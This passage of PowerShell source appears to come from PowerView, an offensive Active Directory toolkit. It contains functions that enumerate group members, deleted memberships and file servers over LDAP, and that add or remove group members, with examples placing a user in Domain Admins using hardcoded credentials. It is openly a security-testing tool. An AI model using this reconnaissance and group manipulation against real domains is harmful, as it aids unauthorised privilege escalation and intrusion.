Get-DomainSearcher @SearcherArguments 11145 if (-not $GroupSearcher) { 11146 Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'" 11147 } 11148 } 11149 } 11150 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { 11151 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' 11152 $IdentityFilter += "(objectguid=$GuidByteString)" 11153 } 11154 elseif ($IdentityInstance.Contains('\')) { 11155 $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical 11156 if ($ConvertedIdentityInstance) { 11157 $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) 11158 $GroupName = $IdentityInstance.Split('\')[1] 11159 $IdentityFilter += "(samAccountName=$GroupName)" 11160 $SearcherArguments['Domain'] = $GroupDomain 11161 Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'" 11162 $GroupSearcher = Get-DomainSearcher @SearcherArguments 11163 } 11164 } 11165 else { 11166 $IdentityFilter += "(samAccountName=$IdentityInstance)" 11167 } 11168 } 11169 11170 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { 11171 $Filter += "(|$IdentityFilter)" 11172 } 11173 11174 if ($PSBoundParameters['LDAPFilter']) { 11175 Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter" 11176 $Filter += "$LDAPFilter" 11177 } 11178 11179 $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" 11180 Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)" 11181 try { 11182 $Result = $GroupSearcher.FindOne() 11183 } 11184 catch { 11185 Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_" 11186 $Members = @() 11187 } 11188 11189 $GroupFoundName = '' 11190 $GroupFoundDN = '' 11191 11192 if ($Result) { 11193 $Members = $Result.properties.item('member') 11194 11195 if ($Members.count -eq 0) { 11196 # ranged searching, thanks @meatballs__ ! 11197 $Finished = $False 11198 $Bottom = 0 11199 $Top = 0 11200 11201 while (-not $Finished) { 11202 $Top = $Bottom + 1499 11203 $MemberRange="member;range=$Bottom-$Top" 11204 $Bottom += 1500 11205 $Null = $GroupSearcher.PropertiesToLoad.Clear() 11206 $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange") 11207 $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname') 11208 $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname') 11209 11210 try { 11211 $Result = $GroupSearcher.FindOne() 11212 $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" 11213 $Members += $Result.Properties.item($RangedProperty) 11214 $GroupFoundName = $Result.properties.item('samaccountname')[0] 11215 $GroupFoundDN = $Result.properties.item('distinguishedname')[0] 11216 11217 if ($Members.count -eq 0) { 11218 $Finished = $True 11219 } 11220 } 11221 catch [System.Management.Automation.MethodInvocationException] { 11222 $Finished = $True 11223 } 11224 } 11225 } 11226 else { 11227 $GroupFoundName = $Result.properties.item('samaccountname')[0] 11228 $GroupFoundDN = $Result.properties.item('distinguishedname')[0] 11229 $Members += $Result.Properties.item($RangedProperty) 11230 } 11231 11232 if ($PSBoundParameters['Domain']) { 11233 $GroupFoundDomain = $Domain 11234 } 11235 else { 11236 # if a domain isn't passed, try to extract it from the found group distinguished name 11237 if ($GroupFoundDN) { 11238 $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 11239 } 11240 } 11241 } 11242 } 11243 11244 ForEach ($Member in $Members) { 11245 if ($Recurse -and $UseMatchingRule) { 11246 $Properties = $_.Properties 11247 } 11248 else { 11249 $ObjectSearcherArguments = $SearcherArguments.Clone() 11250 $ObjectSearcherArguments['Identity'] = $Member 11251 $ObjectSearcherArguments['Raw'] = $True 11252 $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass' 11253 $Object = Get-DomainObject @ObjectSearcherArguments 11254 $Properties = $Object.Properties 11255 } 11256 11257 if ($Properties) { 11258 $GroupMember = New-Object PSObject 11259 $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain 11260 $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName 11261 $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN 11262 11263 if ($Properties.objectsid) { 11264 $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value) 11265 } 11266 else { 11267 $MemberSID = $Null 11268 } 11269 11270 try { 11271 $MemberDN = $Properties.distinguishedname[0] 11272 if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') { 11273 try { 11274 if (-not $MemberSID) { 11275 $MemberSID = $Properties.cn[0] 11276 } 11277 $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments 11278 11279 if ($MemberSimpleName) { 11280 $MemberDomain = $MemberSimpleName.Split('@')[1] 11281 } 11282 else { 11283 Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" 11284 $MemberDomain = $Null 11285 } 11286 } 11287 catch { 11288 Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" 11289 $MemberDomain = $Null 11290 } 11291 } 11292 else { 11293 # extract the FQDN from the Distinguished Name 11294 $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 11295 } 11296 } 11297 catch { 11298 $MemberDN = $Null 11299 $MemberDomain = $Null 11300 } 11301 11302 if ($Properties.samaccountname) { 11303 # forest users have the samAccountName set 11304 $MemberName = $Properties.samaccountname[0] 11305 } 11306 else { 11307 # external trust users have a SID, so convert it 11308 try { 11309 $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments 11310 } 11311 catch { 11312 # if there's a problem contacting the domain to resolve the SID 11313 $MemberName = $Properties.cn[0] 11314 } 11315 } 11316 11317 if ($Properties.objectclass -match 'computer') { 11318 $MemberObjectClass = 'computer' 11319 } 11320 elseif ($Properties.objectclass -match 'group') { 11321 $MemberObjectClass = 'group' 11322 } 11323 elseif ($Properties.objectclass -match 'user') { 11324 $MemberObjectClass = 'user' 11325 } 11326 else { 11327 $MemberObjectClass = $Null 11328 } 11329 $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain 11330 $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName 11331 $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN 11332 $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass 11333 $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID 11334 $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember') 11335 $GroupMember 11336 11337 # if we're doing manual recursion 11338 if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) { 11339 Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN" 11340 $SearcherArguments['Identity'] = $MemberDN 11341 $Null = $SearcherArguments.Remove('Properties') 11342 Get-DomainGroupMember @SearcherArguments 11343 } 11344 } 11345 } 11346 $GroupSearcher.dispose() 11347 } 11348 } 11349 } 11350 11351 11352 function Get-DomainGroupMemberDeleted { 11353 <# 11354 .SYNOPSIS 11355 11356 Returns information on group members that were removed from the specified 11357 group identity. Accomplished by searching the linked attribute replication 11358 metadata for the group using Get-DomainObjectLinkedAttributeHistory. 11359 11360 Author: Will Schroeder (@harmj0y) 11361 License: BSD 3-Clause 11362 Required Dependencies: Get-DomainObjectLinkedAttributeHistory 11363 11364 .DESCRIPTION 11365 11366 Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute 11367 replication metadata for the specified group. These are cases where the 11368 'Version' attribute of group member in the replication metadata is even. 11369 11370 .PARAMETER Identity 11371 11372 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 11373 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). 11374 Wildcards accepted. 11375 11376 .PARAMETER Domain 11377 11378 Specifies the domain to use for the query, defaults to the current domain. 11379 11380 .PARAMETER LDAPFilter 11381 11382 Specifies an LDAP query string that is used to filter Active Directory objects. 11383 11384 .PARAMETER SearchBase 11385 11386 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 11387 Useful for OU queries. 11388 11389 .PARAMETER Server 11390 11391 Specifies an Active Directory server (domain controller) to bind to. 11392 11393 .PARAMETER SearchScope 11394 11395 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 11396 11397 .PARAMETER ResultPageSize 11398 11399 Specifies the PageSize to set for the LDAP searcher object. 11400 11401 .PARAMETER ServerTimeLimit 11402 11403 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 11404 11405 .PARAMETER Tombstone 11406 11407 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 11408 11409 .PARAMETER Credential 11410 11411 A [Management.Automation.PSCredential] object of alternate credentials 11412 for connection to the target domain. 11413 11414 .EXAMPLE 11415 11416 Get-DomainGroupMemberDeleted | Group-Object GroupDN 11417 11418 Count Name Group 11419 ----- ---- ----- 11420 2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test... 11421 3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t... 11422 11423 .EXAMPLE 11424 11425 Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local 11426 11427 11428 GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local 11429 MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local 11430 TimeFirstAdded : 2017-06-13T23:07:43Z 11431 TimeDeleted : 2017-06-13T23:26:17Z 11432 LastOriginatingChange : 2017-06-13T23:26:17Z 11433 TimesAdded : 2 11434 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First 11435 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca 11436 l 11437 11438 GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local 11439 MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local 11440 TimeFirstAdded : 2017-06-13T22:20:02Z 11441 TimeDeleted : 2017-06-13T23:26:17Z 11442 LastOriginatingChange : 2017-06-13T23:26:17Z 11443 TimesAdded : 5 11444 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First 11445 -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca 11446 l 11447 11448 .OUTPUTS 11449 11450 PowerView.DomainGroupMemberDeleted 11451 11452 Custom PSObject with translated replication metadata fields. 11453 11454 .LINK 11455 11456 https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ 11457 #> 11458 11459 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 11460 [OutputType('PowerView.DomainGroupMemberDeleted')] 11461 [CmdletBinding()] 11462 Param( 11463 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 11464 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] 11465 [String[]] 11466 $Identity, 11467 11468 [ValidateNotNullOrEmpty()] 11469 [String] 11470 $Domain, 11471 11472 [ValidateNotNullOrEmpty()] 11473 [Alias('Filter')] 11474 [String] 11475 $LDAPFilter, 11476 11477 [ValidateNotNullOrEmpty()] 11478 [Alias('ADSPath')] 11479 [String] 11480 $SearchBase, 11481 11482 [ValidateNotNullOrEmpty()] 11483 [Alias('DomainController')] 11484 [String] 11485 $Server, 11486 11487 [ValidateSet('Base', 'OneLevel', 'Subtree')] 11488 [String] 11489 $SearchScope = 'Subtree', 11490 11491 [ValidateRange(1, 10000)] 11492 [Int] 11493 $ResultPageSize = 200, 11494 11495 [ValidateRange(1, 10000)] 11496 [Int] 11497 $ServerTimeLimit, 11498 11499 [Switch] 11500 $Tombstone, 11501 11502 [Management.Automation.PSCredential] 11503 [Management.Automation.CredentialAttribute()] 11504 $Credential = [Management.Automation.PSCredential]::Empty, 11505 11506 [Switch] 11507 $Raw 11508 ) 11509 11510 BEGIN { 11511 $SearcherArguments = @{ 11512 'Properties' = 'msds-replvaluemetadata','distinguishedname' 11513 'Raw' = $True 11514 'LDAPFilter' = '(objectCategory=group)' 11515 } 11516 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 11517 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } 11518 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 11519 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 11520 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 11521 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 11522 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 11523 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 11524 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 11525 } 11526 11527 PROCESS { 11528 if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } 11529 11530 Get-DomainObject @SearcherArguments | ForEach-Object { 11531 $ObjectDN = $_.Properties['distinguishedname'][0] 11532 ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { 11533 $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue 11534 if ($TempObject) { 11535 if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) { 11536 $Output = New-Object PSObject 11537 $Output | Add-Member NoteProperty 'GroupDN' $ObjectDN 11538 $Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn 11539 $Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated 11540 $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted 11541 $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange 11542 $Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2) 11543 $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN 11544 $Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted') 11545 $Output 11546 } 11547 } 11548 else { 11549 Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" 11550 } 11551 } 11552 } 11553 } 11554 } 11555 11556 11557 function Add-DomainGroupMember { 11558 <# 11559 .SYNOPSIS 11560 11561 Adds a domain user (or group) to an existing domain group, assuming 11562 appropriate permissions to do so. 11563 11564 Author: Will Schroeder (@harmj0y) 11565 License: BSD 3-Clause 11566 Required Dependencies: Get-PrincipalContext 11567 11568 .DESCRIPTION 11569 11570 First binds to the specified domain context using Get-PrincipalContext. 11571 The bound domain context is then used to search for the specified -GroupIdentity, 11572 which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For 11573 each entry in -Members, each member identity is similarly searched for and added 11574 to the group. 11575 11576 .PARAMETER Identity 11577 11578 A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), 11579 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) 11580 specifying the group to add members to. 11581 11582 .PARAMETER Members 11583 11584 One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName 11585 (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), 11586 or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). 11587 11588 .PARAMETER Domain 11589 11590 Specifies the domain to use to search for user/group principals, defaults to the current domain. 11591 11592 .PARAMETER Credential 11593 11594 A [Management.Automation.PSCredential] object of alternate credentials 11595 for connection to the target domain. 11596 11597 .EXAMPLE 11598 11599 Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' 11600 11601 Adds harmj0y to 'Domain Admins' in the current domain. 11602 11603 .EXAMPLE 11604 11605 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 11606 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 11607 Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred 11608 11609 Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. 11610 11611 .EXAMPLE 11612 11613 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 11614 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 11615 $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 11616 New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred 11617 11618 Creates the 'andy' user with the specified description and password, using the specified 11619 alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember 11620 and the alternate credentials. 11621 11622 .LINK 11623 11624 http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ 11625 #> 11626 11627 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 11628 [CmdletBinding()] 11629 Param( 11630 [Parameter(Position = 0, Mandatory = $True)] 11631 [Alias('GroupName', 'GroupIdentity')] 11632 [String] 11633 $Identity, 11634 11635 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 11636 [Alias('MemberIdentity', 'Member', 'DistinguishedName')] 11637 [String[]] 11638 $Members, 11639 11640 [ValidateNotNullOrEmpty()] 11641 [String] 11642 $Domain, 11643 11644 [Management.Automation.PSCredential] 11645 [Management.Automation.CredentialAttribute()] 11646 $Credential = [Management.Automation.PSCredential]::Empty 11647 ) 11648 11649 BEGIN { 11650 $ContextArguments = @{ 11651 'Identity' = $Identity 11652 } 11653 if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } 11654 if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } 11655 11656 $GroupContext = Get-PrincipalContext @ContextArguments 11657 11658 if ($GroupContext) { 11659 try { 11660 $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) 11661 } 11662 catch { 11663 Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_" 11664 } 11665 } 11666 } 11667 11668 PROCESS { 11669 if ($Group) { 11670 ForEach ($Member in $Members) { 11671 if ($Member -match '.+\\.+') { 11672 $ContextArguments['Identity'] = $Member 11673 $UserContext = Get-PrincipalContext @ContextArguments 11674 if ($UserContext) { 11675 $UserIdentity = $UserContext.Identity 11676 } 11677 } 11678 else { 11679 $UserContext = $GroupContext 11680 $UserIdentity = $Member 11681 } 11682 Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'" 11683 $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) 11684 $Group.Members.Add($Member) 11685 $Group.Save() 11686 } 11687 } 11688 } 11689 } 11690 11691 11692 function Remove-DomainGroupMember { 11693 <# 11694 .SYNOPSIS 11695 11696 Removes a domain user (or group) from an existing domain group, assuming 11697 appropriate permissions to do so. 11698 11699 Author: Will Schroeder (@harmj0y) 11700 License: BSD 3-Clause 11701 Required Dependencies: Get-PrincipalContext 11702 11703 .DESCRIPTION 11704 11705 First binds to the specified domain context using Get-PrincipalContext. 11706 The bound domain context is then used to search for the specified -GroupIdentity, 11707 which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For 11708 each entry in -Members, each member identity is similarly searched for and removed 11709 from the group. 11710 11711 .PARAMETER Identity 11712 11713 A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), 11714 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) 11715 specifying the group to remove members from. 11716 11717 .PARAMETER Members 11718 11719 One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName 11720 (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), 11721 or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). 11722 11723 .PARAMETER Domain 11724 11725 Specifies the domain to use to search for user/group principals, defaults to the current domain. 11726 11727 .PARAMETER Credential 11728 11729 A [Management.Automation.PSCredential] object of alternate credentials 11730 for connection to the target domain. 11731 11732 .EXAMPLE 11733 11734 Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' 11735 11736 Removes harmj0y from 'Domain Admins' in the current domain. 11737 11738 .EXAMPLE 11739 11740 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 11741 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 11742 Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred 11743 11744 Removes harmj0y from 'Domain Admins' in the current domain using the alternate credentials. 11745 11746 .LINK 11747 11748 http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ 11749 #> 11750 11751 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 11752 [CmdletBinding()] 11753 Param( 11754 [Parameter(Position = 0, Mandatory = $True)] 11755 [Alias('GroupName', 'GroupIdentity')] 11756 [String] 11757 $Identity, 11758 11759 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 11760 [Alias('MemberIdentity', 'Member', 'DistinguishedName')] 11761 [String[]] 11762 $Members, 11763 11764 [ValidateNotNullOrEmpty()] 11765 [String] 11766 $Domain, 11767 11768 [Management.Automation.PSCredential] 11769 [Management.Automation.CredentialAttribute()] 11770 $Credential = [Management.Automation.PSCredential]::Empty 11771 ) 11772 11773 BEGIN { 11774 $ContextArguments = @{ 11775 'Identity' = $Identity 11776 } 11777 if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } 11778 if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } 11779 11780 $GroupContext = Get-PrincipalContext @ContextArguments 11781 11782 if ($GroupContext) { 11783 try { 11784 $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) 11785 } 11786 catch { 11787 Write-Warning "[Remove-DomainGroupMember] Error finding the group identity '$Identity' : $_" 11788 } 11789 } 11790 } 11791 11792 PROCESS { 11793 if ($Group) { 11794 ForEach ($Member in $Members) { 11795 if ($Member -match '.+\\.+') { 11796 $ContextArguments['Identity'] = $Member 11797 $UserContext = Get-PrincipalContext @ContextArguments 11798 if ($UserContext) { 11799 $UserIdentity = $UserContext.Identity 11800 } 11801 } 11802 else { 11803 $UserContext = $GroupContext 11804 $UserIdentity = $Member 11805 } 11806 Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member' from group '$Identity'" 11807 $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) 11808 $Group.Members.Remove($Member) 11809 $Group.Save() 11810 } 11811 } 11812 } 11813 } 11814 11815 11816 function Get-DomainFileServer { 11817 <# 11818 .SYNOPSIS 11819 11820 Returns a list of servers likely functioning as file servers. 11821 11822 Author: Will Schroeder (@harmj0y) 11823 License: BSD 3-Clause 11824 Required Dependencies: Get-DomainSearcher 11825 11826 .DESCRIPTION 11827 11828 Returns a list of likely fileservers by searching for all users in Active Directory 11829 with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying 11830 the server names. 11831 11832 .PARAMETER Domain 11833 11834 Specifies the domain to use for the query, defaults to the current domain. 11835 11836 .PARAMETER LDAPFilter 11837 11838 Specifies an LDAP query string that is used to filter Active Directory objects. 11839 11840 .PARAMETER SearchBase 11841 11842 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 11843 Useful for OU queries. 11844 11845 .PARAMETER Server 11846 11847 Specifies an Active Directory server (domain controller) to bind to. 11848 11849 .PARAMETER SearchScope 11850 11851 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 11852 11853 .PARAMETER ResultPageSize 11854 11855 Specifies the PageSize to set for the LDAP searcher object. 11856 11857 .PARAMETER ServerTimeLimit 11858 11859 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 11860 11861 .PARAMETER Tombstone 11862 11863 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 11864 11865 .PARAMETER Credential 11866 11867 A [Management.Automation.PSCredential] object of alternate credentials 11868 for connection to the target domain. 11869 11870 .EXAMPLE 11871 11872 Get-DomainFileServer 11873 11874 Returns active file servers for the current domain. 11875 11876 .EXAMPLE 11877 11878 Get-DomainFileServer -Domain testing.local 11879 11880 Returns active file servers for the 'testing.local' domain. 11881 11882 .EXAMPLE 11883 11884 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 11885 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 11886 Get-DomainFileServer -Credential $Cred 11887 11888 .OUTPUTS 11889 11890 String 11891 11892 One or more strings representing file server names. 11893 #> 11894 11895 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 11896 [OutputType([String])] 11897 [CmdletBinding()] 11898 Param( 11899 [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 11900 [ValidateNotNullOrEmpty()] 11901 [Alias('DomainName', 'Name')] 11902 [String[]] 11903 $Domain, 11904 11905 [ValidateNotNullOrEmpty()] 11906 [Alias('Filter')] 11907 [String] 11908 $LDAPFilter, 11909 11910 [ValidateNotNullOrEmpty()] 11911 [Alias('ADSPath')] 11912 [String] 11913 $SearchBase, 11914 11915 [ValidateNotNullOrEmpty()] 11916 [Alias('DomainController')] 11917 [String] 11918 $Server, 11919 11920 [ValidateSet('Base', 'OneLevel', 'Subtree')] 11921 [String] 11922 $SearchScope = 'Subtree', 11923 11924 [ValidateRange(1, 10000)] 11925 [Int] 11926 $ResultPageSize = 200, 11927 11928 [ValidateRange(1, 10000)] 11929 [Int] 11930 $ServerTimeLimit, 11931 11932 [Switch] 11933 $Tombstone, 11934 11935 [Management.Automation.PSCredential] 11936 [Management.Automation.CredentialAttribute()] 11937 $Credential = [Management.Automation.PSCredential]::Empty 11938 ) 11939 11940 BEGIN { 11941 function Split-Path { 11942 # short internal helper to split UNC server paths 11943 Param([String]$Path) 11944 11945 if ($Path -and ($Path.split('\\').Count -ge 3)) { 11946 $Temp = $Path.split('\\')[2] 11947 if ($Temp -and ($Temp -ne '')) { 11948 $Temp 11949 } 11950 } 11951 } 11952 11953 $SearcherArguments = @{ 11954 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))' 11955 'Properties' = 'homedirectory,scriptpath,profilepath' 11956 } 11957 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 11958 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 11959 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 11960 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 11961 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 11962 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 11963 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 11964 } 11965 11966 PROCESS { 11967 if ($PSBoundParameters['Domain']) { 11968 ForEach ($TargetDomain in $Domain) { 11969 $SearcherArguments['Domain'] = $TargetDomain 11970 $UserSearcher = Get-DomainSearcher @SearcherArguments 11971 # get all results w/o the pipeline and uniquify them (I know it's not pretty) 11972 $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique 11973 } 11974 } 11975 else { 11976 $UserSearcher = Get-DomainSearcher @SearcherArguments 11977 $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique 11978 } 11979 } 11980 } 11981 11982 11983 function Get-DomainDFSShare { 11984 <# 11985 .SYNOPSIS 11986 11987 